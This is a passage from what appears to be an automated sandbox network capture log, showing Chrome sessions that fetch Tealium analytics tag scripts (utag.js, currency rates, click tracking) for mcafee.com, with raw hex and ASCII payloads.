3e 2d 31 26 26 64 5b 27 74 6d Data Ascii: d['tm_global_culture_code'].toString().toLowerCase().indexOf('nl'.toLowerCase())>-1&&d['tm_global_geo'].toString().toLowerCase().indexOf('emea'.toLowerCase())>-1)\|\|(d['tm_global_culture_code'].toString().toLowerCase().indexOf('it'.toLowerCase())>-1&&d['tm
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 72 43 61 73 65 28 29 29 7c 7c 28 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 66 72 2d 6c 75 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 28 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 64 65 2d 64 65 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 28 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 69 74 2d 69 74 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 28 64 5b 27 74 6d 5f 67 Data Ascii: rCase())\|\|(d['tm_global_culture_code'].toString().toLowerCase()=='fr-lu'.toLowerCase())\|\|(d['tm_global_culture_code'].toString().toLowerCase()=='de-de'.toLowerCase())\|\|(d['tm_global_culture_code'].toString().toLowerCase()=='it-it'.toLowerCase())\|\|(d['tm_g
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 67 6c 6f 62 61 6c 5f 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 29 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 62 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 3d 22 49 44 52 22 3b 7d 2c 22 73 6f 75 74 68 20 6b 6f 72 65 61 22 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 28 62 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 29 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 62 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 3d 22 4b 52 57 22 3b 7d 7d 7d 3b 7d 3b 75 74 61 67 2e 63 75 72 72 65 6e 63 79 5f 63 6f 6e 66 69 67 3d 63 75 72 72 65 6e 63 79 5f 63 6f 6e 66 69 67 Data Ascii: global_currency_code)==="string"&&b.tm_global_currency_code.toUpperCase()==="IDR";},"south korea":function(a,b){return typeof(b.tm_global_currency_code)==="string"&&b.tm_global_currency_code.toUpperCase()==="KRW";}}};};utag.currency_config=currency_config
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 2b 22 7c 70 6c 61 63 65 20 79 6f 75 72 20 6f 72 64 65 72 22 7d 29 7d 29 3b 7d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 74 72 79 7b 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 72 75 6e 6f 6e 63 65 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 75 74 61 67 2e 72 75 6e 6f 6e 63 65 3d 7b 7d 3b 75 74 61 67 2e 6a 64 68 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 2c 6b 29 7b 68 3d 75 74 61 67 2e 6a 64 68 63 2e 6c 65 6e 67 74 68 3b 69 66 28 68 3d 3d 30 29 77 69 6e 64 6f 77 2e 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 75 74 61 67 2e 6a 64 68 69 29 3b 65 6c 73 65 7b 66 6f 72 28 69 3d 30 3b 69 3c 68 3b 69 2b 2b 29 7b 6a 3d 75 74 61 67 2e 6a 64 68 63 5b 69 5d 3b 6b 3d 6a 51 75 65 72 79 28 6a 2e 69 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 Data Ascii: +"\|place your order"})});}}}catch(e){utag.DB(e)};try{if(typeof utag.runonce=='undefined')utag.runonce={};utag.jdh=function(h,i,j,k){h=utag.jdhc.length;if(h==0)window.clearInterval(utag.jdhi);else{for(i=0;i<h;i++){j=utag.jdhc[i];k=jQuery(j.i).is(":visible"
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 28 7b 22 74 6d 5f 67 6c 6f 62 61 6c 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 65 6c 65 6d 65 6e 74 5f 63 6c 69 63 6b 22 3a 27 74 72 75 65 27 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 65 6c 65 6d 65 6e 74 22 3a 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 73 69 74 65 73 65 63 74 69 6f 6e 2b 22 7c 65 63 61 72 64 20 76 61 6c 69 64 61 74 65 20 65 6d 61 69 6c 20 22 2b 28 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 70 75 72 63 68 61 73 65 5f 70 72 6f 64 75 63 74 5f 69 64 73 2e 6a 6f 69 6e 3f 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 70 75 72 63 68 61 73 65 5f 70 72 6f 64 75 63 74 5f 69 64 73 2e 6a 6f 69 6e 28 22 2c 22 29 3a 22 22 29 7d 29 7d 29 3b 7d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 Data Ascii: ({"tm_global_navigation_element_click":'true',"tm_global_navigation_element":utag_data.tm_global_sitesection+"\|ecard validate email "+(utag_data.tm_global_purchase_product_ids.join?utag_data.tm_global_purchase_product_ids.join(","):"")})});}}}catch(e){uta
2024-10-03 15:19:47 UTC	8597	IN	Data Raw: 61 67 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 61 67 2c 66 69 72 73 74 53 63 72 69 70 74 54 61 67 29 3b 7d 65 6c 73 65 7b 69 66 28 77 69 6e 64 6f 77 2e 79 6f 75 74 75 62 65 41 70 69 4c 6f 61 64 65 64 3d 3d 74 72 75 65 29 7b 77 69 6e 64 6f 77 2e 6f 6e 59 6f 75 54 75 62 65 49 66 72 61 6d 65 41 50 49 52 65 61 64 79 28 29 3b 7d 7d 7d 7d 7d 29 3b 77 69 6e 64 6f 77 2e 6f 6e 59 6f 75 54 75 62 65 49 66 72 61 6d 65 41 50 49 52 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 70 6c 61 79 65 72 3d 6e 65 77 20 59 54 2e 50 6c 61 79 65 72 28 27 70 6c 61 79 65 72 27 2c 7b 65 76 65 6e 74 73 3a 7b 27 6f 6e 52 65 61 64 79 27 3a 6f 6e 50 6c 61 79 65 72 52 65 61 64 79 2c 27 6f 6e 53 74 61 74 65 43 68 61 6e 67 65 27 3a Data Ascii: ag.parentNode.insertBefore(tag,firstScriptTag);}else{if(window.youtubeApiLoaded==true){window.onYouTubeIframeAPIReady();}}}}});window.onYouTubeIframeAPIReady=function(){window.player=new YT.Player('player',{events:{'onReady':onPlayerReady,'onStateChange':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.17	56021	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:48 UTC	541	OUT	GET /utag/tiqapp/utag.currency.js HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:49 UTC	525	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3158 Connection: close Last-Modified: Fri, 27 Sep 2024 01:00:02 GMT Server: AkamaiNetStorage Cache-Control: max-age=1296000 Date: Thu, 03 Oct 2024 15:19:49 GMT ETag: "48131e426c7ae3452706a94bbd6e7899:1727398802.843971" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 6b284415724869adc9db63c19e48e420.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: ebclUUaiHg7w5Xp_NAVnp6BMdmFBltfIIgGMCu9Cx_dsOUyuavalZg==
2024-10-03 15:19:49 UTC	3158	IN	Data Raw: 76 61 72 20 74 65 61 6c 69 75 6d 69 71 5f 63 75 72 72 65 6e 63 79 20 3d 20 7b 0a 20 20 20 20 74 73 3a 22 32 30 32 34 30 39 32 37 30 31 30 30 22 2c 0a 20 20 20 20 72 61 74 65 73 3a 7b 22 46 4b 50 22 3a 30 2e 37 34 36 33 36 2c 22 58 41 55 22 3a 30 2e 30 30 30 33 37 34 35 36 2c 22 44 4f 50 22 3a 36 30 2e 31 34 37 34 30 39 2c 22 49 4d 50 22 3a 30 2e 37 34 36 33 36 2c 22 43 52 43 22 3a 35 32 30 2e 33 37 34 30 32 38 2c 22 41 52 53 22 3a 39 36 37 2e 32 36 33 31 2c 22 4b 47 53 22 3a 38 34 2e 32 2c 22 58 50 46 22 3a 31 30 36 2e 38 34 30 31 30 32 2c 22 43 5a 4b 22 3a 32 32 2e 35 30 35 36 2c 22 4d 58 4e 22 3a 31 39 2e 36 31 39 30 31 2c 22 53 45 4b 22 3a 31 30 2e 31 33 37 35 34 36 2c 22 45 47 50 22 3a 34 38 2e 33 37 33 33 2c 22 4d 4e 54 22 3a 33 33 39 38 2c 22 43 4f Data Ascii: var tealiumiq_currency = { ts:"202409270100", rates:{"FKP":0.74636,"XAU":0.00037456,"DOP":60.147409,"IMP":0.74636,"CRC":520.374028,"ARS":967.2631,"KGS":84.2,"XPF":106.840102,"CZK":22.5056,"MXN":19.61901,"SEK":10.137546,"EGP":48.3733,"MNT":3398,"CO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.17	56022	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:48 UTC	380	OUT	GET /utag/mcafee/consumer-display/prod/utag.js HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:48 UTC	610	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 119189 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:19 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: vlkqlhQHLTcly0zBg6CP88iiZDA_Iw.6 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:48 GMT ETag: "37105e32c6d2a5eb0f846811c9e443bb" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 a6ec089aa02839578670b49d128782c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: gfItyV95G9P_Z8bcnr1rlsfQ9lCap4uBovEfqNuOnSrBMwWBL8wMRg== Age: 1 Cache-Control: max-age=300
2024-10-03 15:19:48 UTC	15774	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 6c 6f 61 64 65 72 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 75 74 61 67 5f 63 6f 6e 64 6c 6f 61 64 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 5f 74 65 61 6c 69 75 6d 5f 74 77 63 5f 73 77 69 74 63 68 3d 66 61 6c 73 65 3b 74 72 79 7b 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 75 74 61 67 5f 64 61 74 61 3d 77 69 6e 64 6f 77 2e 75 74 61 67 5f 64 61 74 61 7c 7c 7b 7d 3b 76 61 72 20 63 68 65 63 6b 5f 77 65 62 5f 73 74 6f 72 61 67 65 3d 66 75 6e 63 74 69 Data Ascii: //tealium universal tag - utag.loader ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.var utag_condload=false;window.__tealium_twc_switch=false;try{try{(function(){window.utag_data=window.utag_data\|\|{};var check_web_storage=functi
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 6f 72 28 76 61 72 20 72 20 69 6e 20 75 74 61 67 2e 6c 6f 61 64 65 72 2e 47 56 28 75 74 61 67 2e 63 6f 6e 64 29 29 7b 75 74 61 67 2e 72 70 74 5b 27 72 5f 27 2b 72 5d 3d 28 75 74 61 67 2e 63 6f 6e 64 5b 72 5d 29 3f 22 74 22 3a 22 66 22 3b 7d 7d 2c 52 45 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 69 66 28 63 21 3d 22 61 6c 72 22 26 26 21 74 68 69 73 2e 63 66 67 5f 65 78 74 65 6e 64 29 7b 72 65 74 75 72 6e 20 30 3b 7d 0a 75 74 61 67 2e 44 42 28 22 52 45 3a 20 22 2b 63 29 3b 69 66 28 63 3d 3d 22 61 6c 72 22 29 75 74 61 67 2e 44 42 28 22 41 6c 6c 20 54 61 67 73 20 45 58 54 45 4e 53 49 4f 4e 53 22 29 3b 75 74 61 67 2e 44 42 28 62 29 3b 69 66 28 74 79 70 65 6f 66 20 74 68 69 73 2e 65 78 74 65 6e 64 21 3d 22 75 6e 64 65 66 69 6e 65 Data Ascii: or(var r in utag.loader.GV(utag.cond)){utag.rpt['r_'+r]=(utag.cond[r])?"t":"f";}},RE:function(a,b,c,d,e,f,g){if(c!="alr"&&!this.cfg_extend){return 0;}utag.DB("RE: "+c);if(c=="alr")utag.DB("All Tags EXTENSIONS");utag.DB(b);if(typeof this.extend!="undefine
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 28 29 2e 69 6e 64 65 78 4f 66 28 27 66 72 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3e 2d 31 26 26 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 67 65 6f 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 65 6d 65 61 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3e 2d 31 29 7c 7c 28 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 67 62 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3e 2d 31 26 26 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 67 65 6f 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 65 6d Data Ascii: ().indexOf('fr'.toLowerCase())>-1&&d['tm_global_geo'].toString().toLowerCase().indexOf('emea'.toLowerCase())>-1)\|\|(d['tm_global_culture_code'].toString().toLowerCase().indexOf('gb'.toLowerCase())>-1&&d['tm_global_geo'].toString().toLowerCase().indexOf('em
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 63 61 6c 5f 70 61 63 6b 61 67 65 5f 70 72 69 63 65 3d 3d 22 73 74 72 69 6e 67 22 29 7b 62 2e 74 6d 5f 6c 6f 63 61 6c 5f 70 61 63 6b 61 67 65 5f 70 72 69 63 65 3d 62 2e 74 6d 5f 6c 6f 63 61 6c 5f 70 61 63 6b 61 67 65 5f 70 72 69 63 65 2e 73 70 6c 69 74 28 22 2c 22 29 3b 7d 0a 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 62 2e 5f 63 63 69 74 79 3d 27 27 3b 62 2e 5f 63 63 6f 75 6e 74 72 79 3d 28 74 79 70 65 6f 66 20 62 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 21 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 3f 62 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 3a 27 27 3b 62 2e 5f 63 63 75 72 72 65 6e 63 79 3d 28 74 79 70 65 6f 66 20 62 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 72 72 Data Ascii: cal_package_price=="string"){b.tm_local_package_price=b.tm_local_package_price.split(",");}},function(a,b,c,d){b._ccity='';b._ccountry=(typeof b['tm_global_culture_code']!='undefined')?b['tm_global_culture_code']:'';b._ccurrency=(typeof b['tm_global_curr
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 3a 22 34 39 34 22 2c 22 62 77 71 22 3a 30 7d 2c 7b 22 62 6c 72 22 3a 30 2c 22 61 6c 72 22 3a 31 2c 22 69 64 22 3a 22 35 35 34 22 2c 22 62 77 71 22 3a 30 2c 22 65 6e 64 22 3a 30 7d 2c 7b 22 61 6c 72 22 3a 31 2c 22 62 6c 72 22 3a 30 2c 22 65 6e 64 22 3a 30 2c 22 62 77 71 22 3a 30 2c 22 69 64 22 3a 22 35 37 35 22 7d 2c 7b 22 62 77 71 22 3a 30 2c 22 69 64 22 3a 22 35 39 32 22 2c 22 65 6e 64 22 3a 30 2c 22 62 6c 72 22 3a 30 2c 22 61 6c 72 22 3a 31 7d 5d 3b 75 74 61 67 2e 6c 6f 61 64 65 72 2e 69 6e 69 74 63 66 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 75 74 61 67 2e 6c 6f 61 64 65 72 2e 63 66 67 3d 7b 22 32 32 31 22 3a 7b 6c 6f 61 64 3a 28 28 28 75 74 61 67 2e 63 6f 6e 64 5b 31 30 33 5d 29 26 26 28 75 74 61 67 2e 63 6f 6e 64 5b 34 34 39 5d 29 29 29 2c 73 65 6e 64 Data Ascii: :"494","bwq":0},{"blr":0,"alr":1,"id":"554","bwq":0,"end":0},{"alr":1,"blr":0,"end":0,"bwq":0,"id":"575"},{"bwq":0,"id":"592","end":0,"blr":0,"alr":1}];utag.loader.initcfg=function(){utag.loader.cfg={"221":{load:(((utag.cond[103])&&(utag.cond[449]))),send
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 27 74 72 75 65 27 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 65 6c 65 6d 65 6e 74 22 3a 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 73 69 74 65 73 65 63 74 69 6f 6e 2b 27 7c 68 65 72 6f 7c 62 75 79 20 6e 6f 77 3a 27 2b 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 2e 73 70 6c 69 74 28 22 2f 22 29 2e 70 6f 70 28 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 20 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 62 75 79 6e 6f 77 5f 63 6c 69 63 6b 73 22 3a 27 74 72 75 65 27 7d 29 7d 29 3b 7d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 74 72 79 7b 69 66 28 31 29 7b 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 32 33 30 5d 3d 3d 27 75 6e 64 65 Data Ascii: 'true',"tm_global_navigation_element":utag_data.tm_global_sitesection+'\|hero\|buy now:'+document.URL.split("/").pop().replace(/\-/g," ").toLowerCase(),"tm_global_buynow_clicks":'true'})});}}}catch(e){utag.DB(e)};try{if(1){if(typeof utag.runonce[230]=='unde
2024-10-03 15:19:49 UTC	1444	IN	Data Raw: 61 73 73 69 66 69 63 61 74 69 6f 6e 5f 74 79 70 65 22 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2e 61 74 74 72 28 22 64 61 74 61 2d 63 6c 61 73 73 69 66 69 63 61 74 69 6f 6e 74 79 70 65 22 29 2c 22 74 6d 5f 6c 6f 63 61 6c 5f 61 75 74 6f 72 65 6e 65 77 61 6c 5f 6f 6e 22 3a 27 74 72 75 65 27 7d 29 7d 29 3b 7d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 74 72 79 7b 69 66 28 31 29 7b 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 32 36 31 5d 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 32 36 31 5d 3d 31 3b 6a 51 75 65 72 79 28 27 2e 61 75 74 6f 52 65 6e 65 77 53 65 74 74 69 6e 67 73 20 23 63 74 6c 30 30 5f 4d 61 69 6e 43 6f 6e 74 65 6e 74 5f 6d 5f 43 6f 6e 66 69 72 6d 4c 61 79 Data Ascii: assification_type":jQuery(this).attr("data-classificationtype"),"tm_local_autorenewal_on":'true'})});}}}catch(e){utag.DB(e)};try{if(1){if(typeof utag.runonce[261]=='undefined'){utag.runonce[261]=1;jQuery('.autoRenewSettings #ctl00_MainContent_m_ConfirmLay
2024-10-03 15:19:49 UTC	16384	IN	Data Raw: 22 5d 22 2b 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 73 69 74 65 73 65 63 74 69 6f 6e 2b 22 7c 22 2b 75 74 61 67 5f 64 61 74 61 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 73 69 74 65 73 65 63 74 69 6f 6e 5f 6c 65 76 65 6c 32 2b 27 3a 6f 70 74 69 6f 6e 73 27 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 74 65 61 6c 69 75 6d 5f 63 61 6c 6c 74 79 70 65 22 3a 27 6d 61 6e 75 61 6c 27 7d 29 7d 29 3b 7d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 74 72 79 7b 69 66 28 31 29 7b 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 32 37 34 5d 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 32 37 34 5d 3d 31 3b 6a 51 75 65 72 79 28 64 6f 63 75 6d Data Ascii: "]"+utag_data.tm_global_sitesection+"\|"+utag_data.tm_global_sitesection_level2+':options').toLowerCase(),"tm_global_tealium_calltype":'manual'})});}}}catch(e){utag.DB(e)};try{if(1){if(typeof utag.runonce[274]=='undefined'){utag.runonce[274]=1;jQuery(docum
2024-10-03 15:19:49 UTC	3667	IN	Data Raw: 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 75 74 61 67 2e 72 75 6e 6f 6e 63 65 5b 35 30 35 5d 3d 31 3b 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 6f 6e 28 27 6d 6f 75 73 65 64 6f 77 6e 27 2c 27 5b 64 61 74 61 2d 70 61 67 65 73 65 63 74 69 6f 6e 3d 22 73 74 6f 72 65 22 5d 2c 5b 64 61 74 61 2d 70 61 67 65 73 65 63 74 69 6f 6e 3d 22 66 6f 6f 74 65 72 22 5d 27 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 75 74 61 67 2e 6c 69 6e 6b 28 7b 22 74 6d 5f 67 6c 6f 62 61 6c 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 65 6c 65 6d 65 6e 74 5f 63 6c 69 63 6b 22 3a 27 74 72 75 65 27 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 65 6c 65 6d 65 6e 74 22 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2e 61 74 74 72 28 22 64 61 74 61 2d 70 61 67 65 Data Ascii: =='undefined'){utag.runonce[505]=1;jQuery(document.body).on('mousedown','[data-pagesection="store"],[data-pagesection="footer"]',function(e){utag.link({"tm_global_navigation_element_click":'true',"tm_global_navigation_element":jQuery(this).attr("data-page

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.17	56023	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:48 UTC	590	OUT	GET /utag/tiqapp/utag.v.js?a=mcafee/consumer-display/202409111540&cb=1727968787490 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:48 UTC	607	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2 Connection: close Last-Modified: Sat, 11 Mar 2023 06:57:46 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 2XUX04X5QEw0.xFya64khU._sHTRl_Pz Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:11:53 GMT ETag: "7bc0ee636b3b83484fc3b9348863bd22" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ccd3e547bd5d86bbfbaca15b4307ce70.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: QX3NzwluHaWyyRqaKmmQEQ9NZRFseLk6IqIZFtrhbHHTtMA8ITfy7g== Age: 495 Cache-Control: max-age=300
2024-10-03 15:19:48 UTC	2	IN	Data Raw: 2f 2f Data Ascii: //

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.17	56038	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:49 UTC	416	OUT	GET /utag/tiqapp/utag.v.js?a=mcafee/consumer-display/202409111540&cb=1727968787490 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:49 UTC	607	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2 Connection: close Last-Modified: Sat, 11 Mar 2023 06:57:46 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 2XUX04X5QEw0.xFya64khU._sHTRl_Pz Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:11:53 GMT ETag: "7bc0ee636b3b83484fc3b9348863bd22" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 6641a812839e5267ee0880e96b41efc4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: R3IGikC-GPcrxtbldp-SlY0lTzODJdB7poqk52XWPaErplGu0vr0AQ== Age: 496 Cache-Control: max-age=300
2024-10-03 15:19:49 UTC	2	IN	Data Raw: 2f 2f Data Ascii: //

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.17	56037	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
